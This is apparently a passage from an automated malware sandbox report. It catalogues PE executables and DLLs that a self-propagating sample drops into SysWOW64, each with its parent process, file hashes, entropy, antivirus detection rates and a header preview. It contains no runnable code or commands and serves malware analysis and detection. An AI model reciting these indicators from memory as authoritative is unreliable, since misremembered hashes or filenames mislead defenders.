Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Bnpnbp32.exe

Download File

Process:	C:\Windows\SysWOW64\Bnnampcf.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.978811833389095
Encrypted:	false
SSDEEP:	3072:W5F87rNJ8CREXdXNKT1ntPG9poDrFDHZtOgl:mW7rNJzCN9Otopg5tTl
MD5:	7E024C6EF36928FEE4659AE588ED4D43
SHA1:	895A214C29A42B71F0531101284175C7229C4E0D
SHA-256:	C9E6C7C650398EBAB2BEBA2B6A48BCB9952691109AA4DF13BCA0F6B38470A617
SHA-512:	90B719CC76B4DE00166E0870669D785CD9D3FC06DD930ACC6705D02ABCA53DCEC5663D2D54C47D6E23922F570C9830D8A239822363C90D46AE8F7AE7D7B566E0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Bpghkh32.dll

Download File

Process:	C:\Windows\SysWOW64\Nejhbi32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6657
Entropy (8bit):	2.885666161338187
Encrypted:	false
SSDEEP:	48:6EQt5YVOSVVEPy+wEMmqiHNpU10IB+BDq9J5SV3DY:CSVVEPozmB7mB+FqX5S1D
MD5:	8985030965C63F5E6394490E239E7D2C
SHA1:	B5F81BC16A683E0A225E443EA32BB3ECC06E9CD4
SHA-256:	4A8731F9BB2ABCB72F476004A3FE11F364FB85EC62FB550A61D33EC7AEDE1366
SHA-512:	17FB9A366359CB4EBEB01C39AA70906CE0127B457B96DB32956A262A11C16F7E1AA22E08D24ECDFCD642598CAE5CCCBBBDFC89FD8F4DE4D020B74E954DFDE7C9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....E.@...........!...7.....................0...............................p.......................................`..T....@..l............................P....... ..T............................................................................text............................... ..`.rdata..T.... ..T................... ..@.data........0......................@....idata..l....@..l...................`....reloc.......P...................... ....edata..T....`..T................... ..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\Bqjacldl.exe

Download File

Process:	C:\Windows\SysWOW64\Bgamkfnl.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.973651054789434
Encrypted:	false
SSDEEP:	3072:gp2Os8aenCREXdXNKT1ntPG9poDrFDHZtOgl:gMxLeCCN9Otopg5tTl
MD5:	D92B3B389B0B969DCC1638C63737002A
SHA1:	8923471E2B3BDB258EEF123E0739BA416DCADC0D
SHA-256:	545C8C117FEBA5D9DD5D4465FF68BE9C6CB2550CCA15EE4F9C07097EE0C9EFAE
SHA-512:	987F8629E0289B3367152E14B5970FDAFBE660C5154C2BE58E426B24EA7683DF17607B6A5664DAD6957E6AB5795ECBDBBFE093689D3D84B80AFF951EF12F69E2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Camgpi32.exe

Download File

Process:	C:\Windows\SysWOW64\Cnjaioih.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.0213579678318485
Encrypted:	false
SSDEEP:	3072:hMviBb/fRvfCREXdXNKT1ntPG9poDrFDHZtOgl:h8C/fxaCN9Otopg5tTl
MD5:	AFB7FE6A2325DC169AF337B02D73EA13
SHA1:	5D5B55D9DC2CD3472FAEABF5F22AAD16D0DC1AE3
SHA-256:	3A730DAE92B7F36766E24FBA0BF7DF19DCBA517543A310BE97310FC76E18DAA7
SHA-512:	FF614B1C8303AE7A23EB366E4EF7884A68C009D78CD20F650A08976E68389AD06DD510EFA456EA7A2C3A76BAD88B32FE3E9FBA04422F4E80FF394CC635635ABC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Ccapffke.exe

Download File

Process:	C:\Windows\SysWOW64\Cfnpmb32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.016049589813998
Encrypted:	false
SSDEEP:	3072:16PuFKjaRrp8SzU9CREXdXNKT1ntPG9poDrFDHZtOgl:8Pj+RrprQICN9Otopg5tTl
MD5:	713B5E4D81DBB20F5D48D2BC5501A007
SHA1:	0B464262AA241BBBD388AE8B59AC1F5019BDA7EE
SHA-256:	8CFB49CA56F34D91449B3FD9B151B5911E693F1377FAFF2302C97CC129D44110
SHA-512:	14B4B78CB1CFCC07C9DB42DB41927A08922B2A9FB32F1772B0DD04D4D638AED0E0FCF4A605FAA5FB82CAF634DAEFA4E0721FC537012DD247FA193AD498DBE609
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Ceampi32.exe

Download File

Process:	C:\Windows\SysWOW64\Ccapffke.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.0088055892708265
Encrypted:	false
SSDEEP:	3072:tMH6OIovHKJPcItYxFGhehLCREXdXNKT1ntPG9poDrFDHZtOgl:3JP3irGheh+CN9Otopg5tTl
MD5:	7008B57588331F2C9C3672BB96521844
SHA1:	D6FE8D16BD1A08F49AE051062C26E5128844B16A
SHA-256:	DF760E40B57D6E4270C41DD80880A4AD8121D10839AB522A22D86AA9C4D3B4A6
SHA-512:	E9758125840400DDA683B214C97F06007D2D33A517A7C5AFACEF972A441BEF4884ABD82CFFECA2C330F57EBDC8AAC1D961F977997688C598E4E0D7A14FFC84BE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Cfnpmb32.exe

Download File

Process:	C:\Windows\SysWOW64\Baagdk32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.993476163252334
Encrypted:	false
SSDEEP:	3072:Gn9vzlYqd7HqCREXdXNKT1ntPG9poDrFDHZtOgl:G9vBlHpCN9Otopg5tTl
MD5:	3E45EB0DFCF7ACE28698143C3D650109
SHA1:	F9CFCE90E04EFA165C4EAF241369E989C8554268
SHA-256:	FFAFADF93DD0187CE234DFAE1BD0605A2B75342FFE5182F2F0CF8AD67E6FF39D
SHA-512:	EBB897FE3D4A1C7A973824992C9354FB426A887A08DCF86B9EEB49AC364899EB6EF094199708A2BCE967D96661904E0AA93D0A90805B14C209A37BAF8B3AEC6F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Chfnmf32.dll

Download File

Process:	C:\Windows\SysWOW64\Ppllkpoo.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6657
Entropy (8bit):	2.8864582439804396
Encrypted:	false
SSDEEP:	48:6EQt5YVOSVVEPy+wEMmqiHNpU101B+BDq9J5SV3DY:CSVVEPozmB7TB+FqX5S1D
MD5:	F332AF98DD3E35E72C5E02159378EFAD
SHA1:	981304FA6E1289B2DDA1EA55C74D85C73B73BEDA
SHA-256:	580FCFA2ECAF3285E4CC263B8FBB65B561CCDAE13595310B41E653D37F13FA34
SHA-512:	8082DE6540A0150965400D62F7C98C2C0FA7153712AE643D7CB318E76245F48E370E69388CF4C7FBCF9D97C7152EFF4B1444631C18631AA13A431E799F26632A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 89%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....E.@...........!...7.....................0...............................p.......................................`..T....@..l............................P....... ..T............................................................................text............................... ..`.rdata..T.... ..T................... ..@.data........0......................@....idata..l....@..l...................`....reloc.......P...................... ....edata..T....`..T................... ..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\Ckaenpam.dll

Download File

Process:	C:\Windows\SysWOW64\Foaigifk.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6657
Entropy (8bit):	2.886075648475996
Encrypted:	false
SSDEEP:	48:6EQt5YVOSVVEPy+wEMmqiHNpU106B+BDq9J5SV3DY:CSVVEPozmB7kB+FqX5S1D
MD5:	21FF0D348D9871E9214F112B5BE8AAF5
SHA1:	A3E795DAA5D0779783D8A59A13077DAFD4505464
SHA-256:	86856BD3CAE8887E3201482FE82F7F51259770CAD6D8E57A81B5EE2643916ACC
SHA-512:	3D83732D43778E458CACD5E14EB8F53BE1B7D77A908DFDB8F35E958FAFA1BEAC561B21B2B6D03A6E5AE3014740257EB9C5E7229D3CC9F8871AB8419574906311
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 91%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....E.@...........!...7.....................0...............................p.......................................`..T....@..l............................P....... ..T............................................................................text............................... ..`.rdata..T.... ..T................... ..@.data........0......................@....idata..l....@..l...................`....reloc.......P...................... ....edata..T....`..T................... ..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\Clqdacnn.dll

Download File

Process:	C:\Windows\SysWOW64\Pqeoao32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6657
Entropy (8bit):	2.8860136777213303
Encrypted:	false
SSDEEP:	48:6EQt5YVOSVVEPy+wEMmqiHNpU10rB+BDq9J5SV3DY:CSVVEPozmB7JB+FqX5S1D
MD5:	37FEF0E7CF1151966CA34EB7A4281017
SHA1:	540C245FA6DDCC87C87E809DE8696FAEE8344B73
SHA-256:	E199026D40A236B7B9145AC29770C7A817C4FBF68FE722B9C7279906DF63C104
SHA-512:	3455C065208261D91F82FD7FEC76CE6D91935AD656CDC659FBE3288D88DCB128A2B786B31A54E934B03F9E8B12DF5FB5B9BF27CBA66CC644A25E869747C7F979
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....E.@...........!...7.....................0...............................p.......................................`..T....@..l............................P....... ..T............................................................................text............................... ..`.rdata..T.... ..T................... ..@.data........0......................@....idata..l....@..l...................`....reloc.......P...................... ....edata..T....`..T................... ..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\Cnjaioih.exe

Download File

Process:	C:\Windows\SysWOW64\Ceampi32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.958893785295164
Encrypted:	false
SSDEEP:	3072:V/IteTF8fGyCREXdXNKT1ntPG9poDrFDHZtOgl:FJTF8fGRCN9Otopg5tTl
MD5:	CA30D43E91B9417EA485DABDD1CCD228
SHA1:	266FFCBAC7A97766C433FEE826B3012C37BD4EBF
SHA-256:	F6C4DC904242F79429A7087542FA2ED6DE2BC5A13A33AEF75EAC4073125FB84E
SHA-512:	62AA454531649CCE0235E34336D33086CB978F7F0EEF0AE5B65A977D3E27C0441818EE9DEAACFD839F15C8C51D9C60DA7082FB2B9343C04124F867C280E73F36
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Dfcboo32.exe

Download File

Process:	C:\Windows\SysWOW64\Dnhmjm32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.023176639024364
Encrypted:	false
SSDEEP:	3072:Syp08rNuMd594CREXdXNKT1ntPG9poDrFDHZtOgl:SgRdz3CN9Otopg5tTl
MD5:	E467DF0B06CAE41308F8F0A6E1F35FBA
SHA1:	96A89551C1161416FFD51644407E4E0839E61E06
SHA-256:	8D1CBE74AF1F0E8D28029D5B9F42CD4AA0B93948E8AF1D00C61EF46EB3A416C2
SHA-512:	04A0B82DA0148758FF2514FCEA27D2B7BCB42557CC78A952F388BEE2C3DE86C4F9D94A97F12CADD9D3E5E545783CA6B22CB387520AFCD60AEC070D4245FFE8D2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Dmfdkj32.exe

Download File

Process:	C:\Windows\SysWOW64\Camgpi32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.97577146093803
Encrypted:	false
SSDEEP:	3072:A7EspPCREXdXNKT1ntPG9poDrFDHZtOgl:A75KCN9Otopg5tTl
MD5:	8A37BEE9F75CA0545946D3034A19B27A
SHA1:	92DD63ED29DC0AD8AE17C9D921D0C83210973907
SHA-256:	0A6191833E1D436234207A35DCF112C24D56CDE59B83F1F2AB5AB6738FE7E1E0
SHA-512:	18E06AFEEC694E90E32A3E3EE762BD8BF08EE7D18F9C31001E829F1CBA88D538089F836532434F26CC20D7EE23349FA1A897F72E672CC1BC559D12EAA0D86AD6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Dnhmjm32.exe

Download File

Process:	C:\Windows\SysWOW64\Dmfdkj32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.027136963901096
Encrypted:	false
SSDEEP:	3072:LmGGDZZP3bxvCREXdXNKT1ntPG9poDrFDHZtOgl:LmlZ/bxqCN9Otopg5tTl
MD5:	305D22424B3635688BD806671F6F8A9C
SHA1:	3B535340C1EBD37004465322558CBD49E5C5DFA0
SHA-256:	F008E17CEA08771A0FF9C02B1FCDDDEABF6A4D64B88BECCA3C0D7AA9C2986237
SHA-512:	F6E6E5CAD5F62210620BB94B8CAB57BAA7C216B05C151C2811785352C36FBD9F12DEBD4BF46995227B092E4702A4785DB99448968C2569F87430BC2C260270B8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Edgbhcim.exe

Download File

Process:	C:\Windows\SysWOW64\Dfcboo32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.965251870706293
Encrypted:	false
SSDEEP:	3072:Es1F6tr/7oSQvP50uEYfkN8CREXdXNKT1ntPG9poDrFDHZtOgl:EqSQvPauEYfkNzCN9Otopg5tTl
MD5:	4396DFC06DB43385A7F834F79F6CA36B
SHA1:	04A9D073275A2FEC582939AAFF0910172A409049
SHA-256:	6380D7FC16CA2E94D74D881882DD6E6DD0F869D2D1D310E18CCB859DB0C07C3E
SHA-512:	9C25566E71A1CE453F961DF16A1FEE0E77AD0D9C1DDF82BC09448D7B0055F0010CE998D570FF8276EAD242EDCB95D7B39F37D0422E8C57040D9ADD2B6FC011A8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Efgkjnfn.exe

Download File

Process:	C:\Windows\SysWOW64\Emogai32.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.99262873088875
Encrypted:	false
SSDEEP:	3072:EAQEBDhCdxIrCN+l0Av+DCREXdXNKT1ntPG9poDrFDHZtOgl:BQuCdxIrCN+ibWCN9Otopg5tTl
MD5:	B024F2548F4F6ADC9F3DCD68E53CB2CC
SHA1:	D4C3B11FBBDD3C92C1EF7239E2F8A52C0393E8A5
SHA-256:	7DCF65D4231EA6F0A111E9440E2A30B2678655CB5C612B98EEEC9640EE74BF6C
SHA-512:	32DC109B6AE1D31F3D78BD27D7612D729EB499E9E5F7B183E44D95F522FB56FAEF4BE0B495FC98938D4A3393014FA0A2814121C8F795A5CFA3C1CA6572B2403D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Ekpjke32.dll

Download File

Process:	C:\Windows\SysWOW64\Bnnampcf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6657
Entropy (8bit):	2.8857372746895487
Encrypted:	false
SSDEEP:	48:6EQt5YVOSVVEPy+wEMmqiHNpU102B+BDq9J5SV3DY:CSVVEPozmB7gB+FqX5S1D
MD5:	64A413D73C3924CE3F67385E541D3D40
SHA1:	9EC914148745656C5AC81315E379F4A2A84824B8
SHA-256:	534332DC755FE82DA87853D7F5F4D7A1CBFBA2F876E68B33F68E80DD7C0A8675
SHA-512:	FD9E88445C36348DD67D78AFDC4CA53E295965D1E241D9592084192B012E05E04997A92310D89611EE2463FFAF9FCC79E01CEFA7CD613B595CF5D9090F4A1154
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....E.@...........!...7.....................0...............................p.......................................`..T....@..l............................P....... ..T............................................................................text............................... ..`.rdata..T.... ..T................... ..@.data........0......................@....idata..l....@..l...................`....reloc.......P...................... ....edata..T....`..T................... ..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\Ekpkmk32.dll

Download File

Process:	C:\Windows\SysWOW64\Dnhmjm32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6657
Entropy (8bit):	2.885838975854523
Encrypted:	false
SSDEEP:	48:6EQt5YVOSVVEPy+wEMmqiHNpU10XB+BDq9J5SV3DY:CSVVEPozmB7VB+FqX5S1D
MD5:	74C686D7A0DEAEDBCFE8565A4E85427B
SHA1:	B40FAA2D882CFB324228B65680837E812D5C4735
SHA-256:	A741D9607B1026092946386DF892CCE99ECBE4814B70D733A5E5B0A6278864CA
SHA-512:	74146B493FE8C119E3E4315EA9C4B1EE938A149172667CA9AE9BC120996272A78B95D70AB406FB587C2EFCA8F9EE025A9F8C3E2ADA4B440B3022B0AE22F4F4E4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....E.@...........!...7.....................0...............................p.......................................`..T....@..l............................P....... ..T............................................................................text............................... ..`.rdata..T.... ..T................... ..@.data........0......................@....idata..l....@..l...................`....reloc.......P...................... ....edata..T....`..T................... ..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\Emogai32.exe

Download File

Process:	C:\Windows\SysWOW64\Edgbhcim.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.033008905238589
Encrypted:	false
SSDEEP:	3072:sEpwPkI7+NCKbCREXdXNKT1ntPG9poDrFDHZtOgl:sESPf8OCN9Otopg5tTl
MD5:	E5B571BCF3D5D371B03E73AAAE92245B
SHA1:	D2565DE79EED30E023FFC4E615BFE09E43ED2ADA
SHA-256:	C637B70B49CEEF5475AC79C049D02166418712F00DE75D60D3FA91ED84908308
SHA-512:	BA8BCD2C2421B0F01A3273E2EB1D6810A83916BE5CAD9063FD84D59627E72CE8685E196C1647827176AEAFE05DAD94C44F62D1920414756E88405BFE85A64080
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Eoappk32.exe

Download File

Process:	C:\Windows\SysWOW64\Efgkjnfn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.051974357251368
Encrypted:	false
SSDEEP:	3072:7Bl3sqC3/8dCqlCREXdXNKT1ntPG9poDrFDHZtOgl:7FGgC3CN9Otopg5tTl
MD5:	B8C0A2511B4FA693AE579E90FCE526AD
SHA1:	015FEBAF7E5710A37A10EBCE69A792B739D09C91
SHA-256:	192EE5895D615BE428D320D3B4B5861B5489F910B12738FD587DE10FD214A2C5
SHA-512:	03B7E6B85C309DF9C92EB9B134430B42ABE0E2F753B7194E51825CE3E6342F5F31B20DD01C5EE0B84B9F041E9CE330BCFA74A8F968E4236F86CFE51DA93B09B3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....xZ...............7.p...>....................@..................................................................................................................................................................................................text....n.......n.................. ....data....................................data...p-......p-...t..............@....idata..h.......h...................`....embm............................... ..`.rsrc.... ..........................@..@.idata..............................@..@.idata....... ......................@..@.data........0......................@..B.text........@......................@..@.idata.......P......................@..@.data.... ...`...................... ..`.rdata...0.......&..................@..B.idata...............4..............@..@.idata...............6..............@..@.text.... ...........8..

C:\Windows\SysWOW64\Fcjdhk32.dll

Download File

Process:	C:\Windows\SysWOW64\Baagdk32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6657
Entropy (8bit):	2.886053484661704
Encrypted:	false
SSDEEP:	48:6EQt5YVOSVVEPy+wEMmqiHNpU102B+BDq9J5SV3DY:CSVVEPozmB7AB+FqX5S1D
MD5:	267296DC4E8E26C9C464483ED9D5EBB3
SHA1:	A09BB3543AD908C03E2CFF291BD6D1D3896FCB43
SHA-256:	FE4EB7D222801DD086D65AD0195DA1CAA63A21E4F613B34A2F207D9DAB6872D5
SHA-512:	A41BAB7CE1ECD14CFA22C861E154DAD43CF995F2771C039F8D21EB4BF0D080103B6411DF6F56792ECCD887A9182366E9754878820090932442EEC45751C6D63E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....E.@...........!...7.....................0...............................p.......................................`..T....@..l............................P....... ..T............................................................................text............................... ..`.rdata..T.... ..T................... ..@.data........0......................@....idata..l....@..l...................`....reloc.......P...................... ....edata..T....`..T................... ..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\Fehgpcld.dll

Download File

Process:	C:\Windows\SysWOW64\Oceoll32.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6657
Entropy (8bit):	2.8858298950249166
Encrypted:	false
